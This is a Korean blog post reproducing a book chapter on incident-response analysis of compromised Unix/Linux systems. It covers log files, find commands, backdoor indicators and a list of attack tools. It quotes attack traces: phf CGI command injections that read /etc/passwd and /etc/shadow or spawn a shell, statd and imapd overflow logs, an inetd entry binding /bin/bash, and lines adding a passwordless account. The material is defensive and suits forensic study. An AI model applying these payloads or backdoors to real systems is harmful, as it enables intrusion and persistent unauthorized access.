9. 도서관/__다. UNIX

Unix/Linux 해킹 피해 시스템 분석 절차

행복 금융 2008. 8. 5.
출처 : 시스템 로그 분석 (해킹 피해와 보안 추적의 결정적 파일) - 안성철
(안성철님께 허락을 구하지는 않았고, 삭제를 요청할 시 바로 삭제 조치 하겠습니다.)


1. 해킹 피해 시스템 분석 절차


1.1 시스템 침입 흔적 조사 방법
특별한 장소 또는 행위로부터의 접속에 대한 로그 파일을 조사한다.

  • last, syslog, 프로세스 로그와 그 밖에 다른 로그 파일을 조사한다.
  • access-log, xferlog 등 주요 서버의 로그 파일을 조사한다.
  • 방화벽 또는 라우터에 의한 로그 기록이 있을 경우 조사한다.
  • 유닉스에서 기본적으로 제공하는 로그 파일들을 조사한다.
    • /var/adm/messages 콘솔 상에 있는 정보
    • /var/adm/utmp(x) 현재 로그인 한 사용자 정보
    • /var/adm/wtmp(x) 사용자의 로그인, 로그아웃
  • 시스템의 shutdown, start up 정보를 조사한다.
    • /var/adm/lastlog 사용자의 최근 로그인 관련 정보
    • /var/adm/acct 사용자의 command 정보
예) 시스템 공격에 따른 각종 로그 예

imap/ipop 공격 로그 : message 로그 파일
Dec 5 11:57:50 www ipop3d[933]: connect from xxx.xxx.124.104
Dec 5 11:57:54 www ipop3d[934]: connect from xxx.xxx.124.104
======================================================================
Jun 22 10:03:07 ns imapd[447]: command stream end of file, while reading
line user=??? host=dialup187-2-45.xxx.xxx.xxx
Jun 15 15:10:40 ns imapd[14943]: Login failure
user=^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P host=irv-ca48-32.xxx.xxx.xxx

mscan 공격 로그 : secure 로그 파일
Jun 27 20:49:29 ns in.telnetd[12918]: connect from xxx.xxx.50.76
Jun 15 03:39:28 ns imapd[14020]: connect from xxx.xxx.94.85
Jun 15 10:15:07 ns in.ftpd[14169]: connect from xxx.xxx.250.76
...

statd 공격 로그 : message 로그 파일
May 9 07:08:14 hosim statd[191]: attempt to create "/var/statmon/sm//../../../../
../../../../../..//../../../../../../../../../../../../../../../../../../../../..
/../../../../../tmp/.nfs09 D H $ $ $ $
O * * * # # P * c 6 )
# # ; # XbinXsh tirdwr "

WWW 관련 공격 로그 : access-log 로그 파일
xxx.xxx.ter.net - - [27/Mar/1998:06:12:08 +0900] "GET /cgi-bin/phf?Qalias=x%0a
/bin/cat%20/etc/passwd HTTP/1.0" 200 7360
xxx.xxx.xxx- - [04/May/1998:04:17:38 +0900] "GET /cgi-bin/phf?Qalias=x%0a
/bin/cat%20/etc/shadow HTTP/1.0" 200 92
xxx.xxx.xxx0- - [08/Jun/1998:09:17:14 +0900] "POST /cgi-bin/phf?Qname=x%0a
/bin/sh+-s%0a HTTP/1.0" 200 82

setuid, setgid 파일을 조사한다.
  • 침입자는 종종 추후에 루트 권한으로 접속하기 위해 /bin/sh 또는 /bin/time 과 같은 백도어 파일을 남겨둔다.
  • 다음의 방법으로 setuid, setgid 파일을 찾는다.
[Test: /]find / -user root -perm -4000 -print
[Test: /]find / -group kmem -perm -2000 -print

NFS/AFS 마운트 시스템에서는 다음과 같은 명령어를 이용한다.
[Test: /]find / -user root -perm -4000 -print -xdev
  • setuid 파일을 찾는 다른 방법으로 각각의 파티션에 대해 적용하는 ncheck가 있다.
[Test: /]ncheck -s /dev/rsd0g

시스템의 바이너리 파일 변경 여부를 조사한다.
  • 침입자는 /etc/inetd.conf가 참조하는 다음과 같은 파일들을 변경한다.
    login, su, telnet, netstat, ifconfig, ls, find, du, df, libc, sync 등
  • 백업된 초기 파일과 현재의 파일을 비교하기 위한 유닉스의 sum 명령어는 트로이 목마 프로그램에 의해 거짓 정보를 나타낼 수 있으므로 다음 프로그램을 사용한다. cmp, MD5, Tripwire 등 다른 암호화 검사 유틸리티들 인가받지 않은 프로그램 및 네트워크 모니터링 프로그램의 사용을 조사한다.
  • 침입자는 사용자의 계정과 패스워드 정보를 얻거나, 자신의 존재를 숨기거나, 또 다른 시스템을 공격 하기 위해 다양한 프로그램 피해 시스템을 설치하여 사용한다.
killinetd : 원격지 호스트의 inetd 데몬을 다운시켜서 네트워크 서비스 방해
imap, imap2 imap : 데몬 오버플로우 원격지 공격 프로그램
imapver imap : 데몬버전의 원격점검 프로그램
netcat : 범용 네트워크 해킹도구
brute.sh imap : 취약점 공격 시 사용되는 보조 프로그램
z0ne : 특정 도메인의 수많은 IP를 찾아내는 프로그램
sniffer : 스니퍼 프로그램
linux rootkit : 백도어 모음(chfn, chsh, inetd, login, ls, du, ifconfig, netstat, passwd, ps, top, rshd, syslogd, tcpd 등)
phfscan phf.cgi : 취약점 스캐너
nmap : 각종 기능을 추가한 포트 스캐너
chkexploit : linux의 각종 시스템 취약점을 찾아내는 스캐너
eipscan : network 레벨의 IP 스캐너
ADMfindall : network 레벨의 IP 스캐너
lsp : network 레벨의 포트 스캐너
imapvun : imap 취약점 스캐너
imapd_scan.sh : imap 취약점 스캐너
mscan : imapd, ipopd, statd 등 여러 취약점을 찾아내는 취약점 스캐너
기타 : sirc, ipw, ircbnc, login, icat, ts2, tt, mendax, phf, s, sirc4, bcast3, bips, boink, bonk, bonk2, ck, fear, frag, jolt, killwin, land, nestea, newteardrop, ns, smurf, ssping, tear2, teardrop 등

cron과 at.으로 수행되는 모든 파일을 검사한다.
  • 침입자는 보통 cron과 at 명령으로 수행되는 파일들에 백도어 프로그램을 남겨둔다. 그러므로 이러한 프로그램으로 수행되는 파일들을 쓰기금지로 설정한다.
인가받지 않은 서비스를 조사한다.
  • /etc/inetd.conf를 조사하여 인가받지 않은 추가되거나 변경된 서비스를 조사한다. 특히 쉘을 수행 할 수 있는 /bin/sh나 /bin/csh를 조사한다. /etc/passwd 파일을 조사하여 변경된 부분이 있는지 확인한다.
  • 추가된 계정, 패스워드의 생략, uid(0로의)의 변경여부를 확인한다.
시스템과 네트워크 설정 파일의 인가받지 않은 항목을 조사한다.
  • /etc/hosts.equiv, /etc/hosts.lpd와 모든 .rhosts 파일에 '+' 항목이 있는지 조사해서 제거한다.
    시스템에 숨겨지거나 '.' 으로 시작하는 특이한 파일이 있는지 조사한다.
  • ls 명령어로 보이지 않는 파일을 조사한다.
[Test: /]find / -name ".. " -print -xdev
[Test: /]find / -name ".*" -xdev | cat -v

일반적으로 '.xx' 파일이나 '.mail' 파일이 침입자에 의해 이용된다. 지역 네트워크의 모든 시스템을 조사한다.

1.2 침입자의 출발지 분석
침입자의 출발지는 어떻게 확인할 수 있을까? 정확하게 위치를 추적하기는 힘들더라도 개략적인 위치는 시스템에서 제공하는 명령어로도 확인할 수 있다. 이러한 정보를 확인하기 위해서는 다음과 같은 명령어를 이용하여 정보를 검색하면 된다.
  • who, w : 사용자 및 사용자의 컴퓨터 확인
  • last : 사용자들의 로그인/로그아웃 일시 기록 확인
  • lastcomm : 사용자들의 시스템 명령 및 프로세스 기록 확인
  • netstat : 네트워크 접속 현황 확인
  • snmpnetstat : 네트워크 관리 시스템에서의 현황
  • 라우터 정보 : 라우터의 라우팅 및 접속 등의 현황 확인
  • /var/adm/messages : 전자우편 송수신 현황 기록 확인(많은 침입자들이 자신의 시스템으로 전자 우편 송신)
  • syslog : 시스템 로그 확인(다른 시스템으로도 로그를 보낸다)
  • wrapper 로그 : 외부 시스템 접속 차단 프로그램의 연결
시스템의 모든 사용자에게  finger를 하여 어디서 왔는지 점검

who, w, last, lastcomm은 /var/pacct, /usr/adm/wtmp의 기록을 보여주는데 침입자들은 백도어 프로그램을 이용하여 이 로그들을 수정하여 자신의 흔적을 지울 수 있다. 그리고 침입자가 아직 이런 백도어가 없다하더라도 아주 쉽게 이 로그들을 수정하거나 지울 수 있다. 하지만 가끔 침입자들은 로그를 삭제하지 않을 수도 있으며, 특히 추가적인 유닉스 로깅 프로그램을 설치한 경우에 더욱 그렇다.

1.3 ethernet sniffer로 다른 시스템에 어떻게 침입하는지를 모니터링 하는 것이 좋다.
xinetd나 tcp_wrapper는 외부에서의 모든 접속에 대해 로그를 남길 수 있으며, 침입자가 로그를 수정하거나 지울 수 없도록 이 로그들을 다른 시스템에 옮겨두는 것이 바람직하다. 적절한 대책을 세우기 전에 침입자가 ethernet sniffer로 다른 시스템에 어떻게 침입하는지를 모니터링 하자.

1.4 외부로부터 접속하는 시스템들을 막고 특히, 침입자의 접근을 막기 위해 네트워크를 중지시킨다.
하지만 만약 침입자가 눈치 챈다면 당신의 시스템에서 "rm -rf /"를 실행하여 모든 정보를 지울 수 있다.

1.5 시스템 실행 파일의 변경 유무를 점검하는데, 특히 백도어 프로그램으로 잘 이용되는 다음 프로그램들을 중점 점검한다.
  • /bin/login
  • 모든 /usr/etc/in.* files (예 : in.telnetd)
  • /lib/libc.so.* (on Suns)
  • inetd에서 호출되는 모든 것
기타 잘 교체되는 것으로서는 다음과 같은 것이 있다.
  • netstat : 정보를 감추게 한다.
  • ps : 프로세스를 감추게 한다(예 : Crack).
  • ls :  디렉토리를 감춘다.
  • ifconfig : 이더넷에 대한 promiscuity mode를 감춘다.
  • sum : sum을 수정하지 않고도 실행 파일의 체크썸을 올바르게 위장 할 수 있으므로 더 이상 교체하지는 않는다.
따라서 sum 값을 믿어서는 안된다. 파일의 실제 수정 시간을 알기 위해서는 "ls -lac"를 사용한다. /etc/wtmp를 점검하여 시스템 시간을 알아내고 CD나 테이프의 원본과 비교하거나 MD5 체크썸이 이전의 체크썸과 다른지 비교하며, 흔히 오프라인으로 저장된 미리 만들어진 체크썸과 cmp 명령으로 비교한다. 아울러 흔히 사용되는 백도어로서 /bin/time 과 같은 setuid 프로그램인데, 이들은 일반 사용자가 root로 실행할 수 있게 해준다. 이런 프로그램을 찾기 위해서는 다음 명령을 이용하면 된다.

[Test: /]find / -type f -perm -4000 -ls

하다보면 OS 전체를 다시 설치해야 될지도 모른다. Tripwire 보안도구는 관리자 몰래 실행 파일을 수정하거나 inetd.conf와 같은 시스템 파일의 수정을 발견할 수 있도록 도와준다.

1.6 모든 사용자의 .rhosts, .forward등을 점검한다. 만약 .rhosts가 "+"를 가지고 있으면 어떠한 시스템에서도 패스워드 체크없이 접근할 수 있다. COPS는 다음과 같은 체킹 스크립트를 가지고 있다.

[Test: /]find / -name, rhosts -ls -o -name .forward -ls

의심스러운 모든 파일의 생성 및 수정 시간을 점검하는데 다음을 이용한다.

[Test: /]find / -ctime -2 -ctime +1 -ls

이것은 이틀 전에서 하루 이후에 수정된 파일을 찾아준다. 모든 .login, .logout, profile, .cshrc들도 적어도 수정일 및 시간 등을 점검하며, .rhosts 파일이 잠궈진 것은 없는지, news, sundiag, sync 등의 계정에 대한 쉘이 보다 안전을 위해 "/bin/false"로 되어 있어야 하며 "/bin/sh" 등으로 되어 있어서는 안된다.

또한 ".", ".." 등의 디렉토리가 없는지 점검하는데 대부분 /tmp, /var/tmp, /usr/spool/* 나 공개적으로 쓰기 할 수 있는 디렉토리에서 많이 발견된다.

1.7 NFS가 외부로 널리 공개된 것은 아닌지 점검한다.
NFSwatch는 NFS 트랜잭션에 대해 로그를 만들어 주며, "showmount -e"를 하여 올바른 NFS 구성을 점검할 수 있도록 한다. 256 바이트를 넘긴 경우에 nfsd는 버그를 가지고 있으며, 또한 여러분이 마운트하고 있는 시스템에 대한 점검도 중요하다. 가능한 "nosuid" 플래스를 사용한다.

1.8 시스템 취약점이 있는지 점검하는 리스트
원하지 않는 프로세스가 없는지, "rpcinfo -p"를 이용하여 점검한다. hosts.equiv 에 "+"가 없는지 점검한다. tftp를 사용하지 않는가, 사용하기를 원한다면 "-s" 플래그를 사용한다. 이 경우는 대부분 디스크 없는 워크스테이션을 위한 경우인데, 적절하게 NFS를 이용할 수 있다. 이것을 root로 실행하지 않도록 하며, /etc/inetd.conf에서 다음과 같이 바꾼다. tftp dgram udp wait nobody /usr/etc/in.tftpd in.ftpd -s /tftpboot 혹은 원치 않는 곳에서의 접근을 막기 위해 tcp_wrapper에서 tftpd에 한 부분을 고치고 모든 접속 상황을 로그로 남긴다.

tfp dgram udp wait nobody /usr/etc/tcpd in.tftpd -s /tftpboot 혹은 /etc/hosts.allow에서 정의된 곳에서만 접근할 수 있도록 조정한다. crontab과 at-vobs를 점검한다. 침입자가 남긴 모든 것을 정리했다고 생각한 후 이것이 어떤 작업을 할 수 있다. rc.boot, rc.local(SYSV : /etc/rc?.d/*)나 기타 시스템 시작 시 실행 파일들을 점검한다.

가장 좋은 방법은 오프라인으로 저장했다가 주기적으로 점검하는 것이며, sendmail.cf, hosts.allow, at.allow, at.deny, cron.allow, hosts, hosts.lpd 등의 시스템 구성 파일들을 점검한다. "aliases"는 메일 확장을 위한 것인데, "uudecode" 등과 같은 것을 가지고 있을 수 있다. inetd.conf 와 /etc/services 파일에서 침입자가 추가한 불법 프로그램 서비스가 있는 지 점검한다. 현재 가지고  있는 모든 로그 파일(pacct, wtmp, lastlog, sulog, syslog, authlog 등)들을 다른 안전한 곳으로 옮긴다. /tmp/* 파일들을 먼저 살펴 본 후 재시동(Reboot)한다.

/etc/passwd 파일의 여분 파일을 가능한 디스켓 등으로 저장한 후 su 및 passwd 프로그램이 백도어가 아님을 확인한 후 root 패스워드를 바꾼다. 만약 침입자가 su나 passwd 백도어를 설치하였다면 /etc/passwd 파일의 패스워드 부분을 모두 "*"로 바꾼다.

또한 침입자가 패스워드 파일을 가지고 있다면 모든 사용자들의 패스워드를 알아낼 가능성이 있으며, 장시간 사용하지 않는 사용자의 패스워드를 바꿀 수도 있다. NIS 서버에서는 단순히 /etc/passwd 뿐 아니라 NIS 맵에 해당하는 것들도 점검해야 한다. 익명 FTP나 다른 네트워크 서비스 시스템들이 적절하게 구성되어 있는지 점검한다. inetd를 다시 설치하고, 콘솔만이 "secure" 단말로 정의하여 다른 단말에서 root로 로그인할 수 없도록 한다. hosts.equiv, .rhosts, hosts.lpd에 "#"이 있는지 점검한다. 만약 침입자가 "#"을 기계이름으로 정의하였다면 누구나 신뢰하는 호스트로 정의된다. 마지막으로 침입자에 대한 경각심을 늦추지 않는다.

2. 침해사고 분석 방법

2.1 관리자 관점에서의 분석
위의 예와 같이 침입자는 다양한 방법을 이용하여 시스템에 침입하여 불법작업을 수행한다. 관리자는 이러한 침입자의 행동을 모니터링 하는 것은 쉽지 않지만 침해사고가 발생할 경우 시스템이 가지고 있는 여러 로그기록을 이용하여 침입자 확인, 침입 방법, 침입자의 출발 호스트 등의 정보를 얻을 수 있다.

그리고 침입자들이 이용하는 웹 서버, imapd 등 서비스 취약점을 이용한 공격도 서버들이 기록하는 로그 기록을 분석할 수 있는 것이다. 여기에서 유닉스 기반의 시스템에서 제공되는 로그 정보 점검에 대해 예를 들어 설명하겠다.

시스템 로그 파일
유닉스 시스템에는 다양한 로그 정보를 가진 파일과 관련 명령어들이 있다. 먼저 시스템 내의 로그 파일은 주로 /var/adm 디렉토리에 존재하게 되는데 필요에 따라 파일의 위치를 변경할 수 있다. /var/adm/ 파일들은 /var/adm/messages, /var/adm/utmp(x), /var/adm/wtmp(x), /var/adm/lastlog, /var/adm /logining, /var/adm/acct 등이 제공된다.

로그 파일 보유 정보
/var/adm/messages 콘솔 상에 있는 정보
/var/adm/utmp(x) 현재 로그인 한 사용자 정보
/var/adm/wtmp(x) 사용자의 로그인, 로그아웃, 시스템의 shutdown, start up
/var/adm/lastlog 사용자의 최근 로그인 관련 정보
/var/adm/acct 사용자의 command 정보

유닉스의 기본 로그 파일들이 가지고 있는 정보를 살펴보면 다음과 같다. /var/adm/wtmp(x)는 시스템 사용자의 접속 정보를 알 수가 있는 파일이다. 이는 last 명령어를 이용하여 정보를 볼 수 있는데 그 예는 다음과 같다.

userone ftp dialup77.xxx.xxx.xxx Sat Jun 27 00:43 - 01:43 (01:00)
userone ttyp1 dialup77.xxx.xxx.xxx Sat Jun 27 00:36 - 00:42 (00:06)
userone ftp xxx.xxx.147.46 Fri Jun 26 14:13 - 14:14 (00:00)
userone ttyp4 xxx.xxx.147.46 Fri Jun 26 14:11 - 14:12 (00:00)
quest0 ttyp4 xxx.xxx.147.46 Fri Jun 26 12:15 - 12:45 (00:29)
userone ttyp0 xxx.xxx.147.46 Mon Jun 22 17:25 - 17:25 (00:00)
hykim ttyp2 xxx.xxx.203.234 Mon Jun 22 17:24 - 17:25 (00:00)

위의 경우 userone은 평소 xxx.xxx.147.46 네트워크에서 접근을 하는데 비해 비정상적인 시간대에 dialup77.xxx.xxx.xxx 호스트에서 접근한 사실을 알 수가 있다. 이는 userone의 비밀번호가 누출이 되어 이상한 호스트에서 접근한 것을 알 수가 있는 것이다.

syslog 데몬을 이용하여 시스템 접속 오류 등에 대한 로그를 설정하였을 경우 messages 파일을 점검함으로써 불법적인 접근 시도가 있었는지도 살펴볼 수 있다. 이 역시 시스템 사용사으이 오류를 포함한 외부로부터의 불법적인 접근 등을 검사할 수 있다.

Jun 22 00:51:39 ns named[253]: starting. named 4.9.6-REL Tue Mar 31 13:41:12 EST 1998^lewt@xxx.xxx.com:/usr/src/redhat/BUILD/bind-4.9.6/named
Jun 22 01:01:37 ns named[253]: starting. named 4.9.6-REL Tue Mar 31 13:41:12 EST
1998^lewt@xxx.xxx.com:/usr/src/redhat/BUILD/bind-4.9.6/named
Jun 23 14:20:54 ns named[5334]: starting. named 4.9.6-REL Tue Mar 31 13:41:12 EST 1998^lewt@xxx.xxx.com:/usr/src/redhat/BUILD/bind-4.9.6/named

위의 경우는 외부로부터 named 버그를 이용하여 시스템에 침입하기 위한 침입자에 의해 named 데몬이 재시동되는 것을 알 수 있다. 이와 같이 다양한 로그 정보들을 검토함으로써 외부로부터의 불법적인 접근 시도 또는 접근 사실을 알 수 있다.

■ 주요 서버의 로그 정보 분석

- 웹 서버의 로그 정보 분석
관리자는 웹 서버의 로그 파일인 Access log나 error log 파일을 점검함으로써 외부 침입 자가 시스템 내의 중요 파일을 가져갔는지 알아보아야 한다. 주로 access_log, error_log 등은 /var/adm/httpd/logs와 같은 디렉토리에 존재하며, 이는 httpd 설치 시 사용자에 따라 설정할 수 있다. 다음은 xxx.xxx.com 으로부터 http 서버 phf 버그를 이용하여 패스워드 파일을 가져간 예이다.

xxx.xxx.com - - [16/Jun/1998:10:38:02 +0900] "GET /cgi-bin/phf?Qname=root%0Acat%20/etc/passwd HTTP/1.1" 200 114873

- IMAPD, POPD 로그 정보 분석
다음은 최근 개인 전자우편 관련하여 많이 사용하고 있는 Imapd(Popd)를 이용하는 방법이다. 이 방법은 데몬에 많은 데이터를 보내 버퍼오버플로우를 발생시켜 새로운 쉘(Shell)을 실행하는 방법으로써 /var/adm/messages 파일에서 알 수 있다.

다음 사례는 xxx.xxx.198.78 호스트에서 시스템의 Imapd로 접근한 내용을 보여주고 있다.

Jun 9 09:10:47 ns imapd[2662]: command stream end of file, while reading line user=??? host=xxx.xxx.198.78
Jun 9 09:10:56 ns imapd[2664]: command stream end of file, while reading line user=??? host=xxx.xxx.198.78

아래 표에서는 위에서 언급한 해킹 방법들로 해커들이 공격했을 경우에 어떠한 시스템 로그나 서버 로그를 점검해야 하는지를 요약해 놓았다.

해킹 방법 utmp
wtmp
access_log messages news
log
su
log
secure
log
spooler
log
syslog 비고
SPAM relay






O

popd

O


O



imapd

O


O



named

O






innd


O


O


identd

O






phf/php 등 CGI
O







portscan







모니터링
mscan

O






su 시도

O

O




원격 login 시도
O

O


O



원격 ftp 시도
O

O


O



서비스 거부







모니터링

2.2 공격자 관점에서의 분석
시스템 관리자 관점에서 분석한 침해사고의 시스템 점검을 통해 얻어지는 결과물에 대해서도 얻을 것이 많지만 경험이 많은 침입자의 경우 일반적으로 로그들은 삭제하고 가는 일이 많기 때문에 해커의 관점에서 시스템 침입시 하는 행동들을 예측하고 그 흔적을 알아내어 시스템이 남기는 정상적인 로그 이외의 해킹 흔적들을 찾아야 한다.

■ 트로이 목마(trojan horse)와 백도어 프로그램 점검
백도어 프로그램이란 일명 뒷구멍이라고 해서 해커들이 임의의 시스템을 해킹한 후 해킹한 시스템에 흔적 없이 다시 들어오려할 때 주로 사용한다. 해커들이 설치하는 프로그램은 원격 접근을 위한 백도어 프로그램 뿐 아니라 내부 사용 흔적을 감추기 위해서, 또는 일반 사용자가 쉽게 관리자(root)가 되기 위해서 기존 프로그램과 이름은 동일하지만 프로그램 내부동작은 침입자의 의도를 만족하는 기능을 갖게 된다.

다음은 실제 해킹을 당한 피해 시스템을 점검하면서 발견된 사례를 보도록 하자.

- .rhosts, /etc/hosts.equiv 백도어 프로그램
[Test: /]ls -ld /etc/hosts/equiv
-rw-r--r-- 1 root 16 Jan 18 1995 /etc/hosts.equiv
==================================================
[Test: /]find / -name, .rhosts -print
/var/spool/uucppublic/.rhosts
/.rhosts


- 백도어로 이용된 서버데몬(inetd 이용)
</etc/service 파일>
................ 생략
ftp 21/tcp
open 22/tcp open
telnet 23/tcp
smtp 25/tcp mail
t................ 생략
</etc/inetd.conf 파일>
#pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d
pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d
#imap stream tcp nowait root /usr/sbin/tcpd imapd
................ 생략
open streamtcp nowaitroot /usr/sbin/tcpd /bin/bash
#finger streamtcp nowait root /usr/sbin/tcpd in.fingerd

- 시스템 분석 시 발겨된 백도어 프로그램 구성 사례
해커들은 백도어 프로그램이 숨겨야 할 정보들을 다음과 같은 구성 파일을 만들어 저장하기도 한다. 물론 이 구성 파일은 관리자나 사용자가 찾기 어려운 위치에 만든다.

[Test: /]ls -l /dev/ttypq
total 136
drwxrwxr-x 2 500 500 512 Jun 25 04:23 ./
drwxrwxr-x 4 root other 512 Jul 7 20:18 ../
-rwxr-xr-x 1 500 500 7809 Jun 25 04:23 .linsniffer*
-rw-r--r-- 1 500 500 393 Jun 25 04:23 ls.
-rw-r--r-- 1 500 500 446 Jun 25 04:23 netstat.
-rw-r--r-- 1 500 500 116 Jun 25 04:23 ps.
-rw-r--r-- 1 500 500 33 Jun 25 04:23 syslog.
-rw-r--r-- 1 500 500 11544 Jun 25 04:23 tcp.log

- ps 명령에서 감추고 싶은 파일들을 등록
[Test: /]more ps.
2 .linsniffer
2 pepsi
2 smurf

- 발견된 트로이 목마 쉘(Trojaned Shell)백도어
rc 파일이나 .cshrc, .profile 파일에 백도어용 코드를 삽입하고, 쉘을 숨겨놓는다.

.............................. 생략
rm -f /dev/fb
ln -s $fbdev /dev/fb
fi
fi

#echo 'ellrewa:*:1000:1::/:/bin/sh' >> /etc/passwd
#echo 'ellrewa:::::: ' >> /etc/shadow

- /etc 디렉토리에 위치한 쉘
[Test: /]ls -ld /etc/csh
-r-xr-xr-x 1 root other 89564 5?y 16@O 23:04 csh
[Test: /]ls -ld /bin/sh
-r-xr-xr-x 3 bin root 89564 19963b 5?y 3@O /bin/sh

■ 백도어 디렉토리 점검
해커들은 자신이 공격한 시스템에 백도어를 유지하거나 새로운 공격을 시도하기 위하여 일반적인 방법으로는 보이지 않는 디렉토리를 생성한다. 숨겨져 있는 디렉토리를 찾이 위해서는 우선 해커들의 손이 닿지 않은 깨끗한 "ls" 프로그램이 필요하다. 숨겨져 있는 디렉토리는 스페이스 문자나 탭키, ... 등 특수키의 혼용으로 일반적인 "ls" 명령으로는 잘 보이지가 않는다.

전체 파일 시스템에 대하여 find 명령을 이용한 스크립트를 작성하여 백도어 디렉토리를 찾는다. 주로 파일 개수가 아주 많거나 사용자가 자주 이용하지 않는 위치에 백도어 디렉토리가 존재한다.
[Test: /]ls /var/spool/at/spool/.h/
exploits pen regs.h~ ts2
ipw.c reg.tgz screen ts2.c
ircbnc.c regq.h~ screen-3.7.4.tar.gz tt
login regr.h~ ssh-1.2.20 web

■ 각종 서버 원격 취약점 점검
호스트에 서버(데몬)로 인하여 해커들은 침입의 발판되므로 모든 서버들에 대하여 해커들의 원격 침입이 있었는지 알기 위해 관리자는 취약성 여부를 확인한 후 해킹 가능성을 추측할 수 있다. 시스템의 messages 로그는 주요 서버들의 접근 흔적을 따로 유지하고 있다.

Jun 27 20:49:29 ns in.telnetd[12918]: connect from xxx.xxx.50.76
Jun 15 03:39:28 ns imapd[14020]: connect from xxx.xxx.94.85
Jun 15 10:15:07 ns in.ftpd[14169]: connect from xxx.xxx.250.76

- <popd/imapd>
Dec 5 11:57:50 www ipop3d[933]: connect from xxx.xxx.124.104
Dev 5 11:57:54 www ipop3d[934]: connect from xxx.xxx.124.104
======================================================================
Jun 22 10:03:07 ns imapd[447]: command from end of file, while reading line user=??? host=dialup187-2-45.xxx.xxx.xxx
Jun 15 15:10:40 ns imapd[14943]: Login failure
user=^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^
P^P host=irv-ca48-32.xxx.xxx.xxx


- <statd>
May 9 07:08:14 hosim statd[191]: attempt to create "/var/statmon/sm//../../../../
./../../../../../../../../../..//../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/.nfs09 D H $ $ $ $
O * * * * # # P * c 6 )
# # ; # XbinXsh firdwr "


- <httpd>
xxx.xxx.xxx.ter.net - - [27/Mar/1998:06:12:08 +0900] "GET /cgi-bin/phf?Qalias=x%0a /bin/cat%20/etc/passwd HTTP/1.0" 200 7360
ppp9.xxx.xxx.xxx - - [04/May/1998:04:17:38 +0900] "GET /cgi-bin/phf?Qalias=x%0a
/bin/cat%20/etc/shadow HTTP/1.0" 200 92
mahler.xxx.xxx.xxx - - [07/Jun/1998:21:55:11 +0900] "POST /cgi-bin/phf?Qname=x%0
/bin/sh+-s%0a HTTP/1.0" 200 175
m06-024.xxx.xxx.xxx - - [08?Jun/1998:09:18:14 +0900] "POST /cgi-bin/phf?Qname=x%0a
/bin/sh+-s%0a HTTP/1.0" 200 82

'9. 도서관 > __다. UNIX' 카테고리의 다른 글

.cshrc  (0) 2008.08.21
grep 과 tail 사용법  (0) 2008.08.14
fsck 자세히 알기 조회  (0) 2008.07.30
부팅불가시  (0) 2008.07.30
Disk 속도 차이시 점검방법  (0) 2008.07.30

댓글

💲 추천 글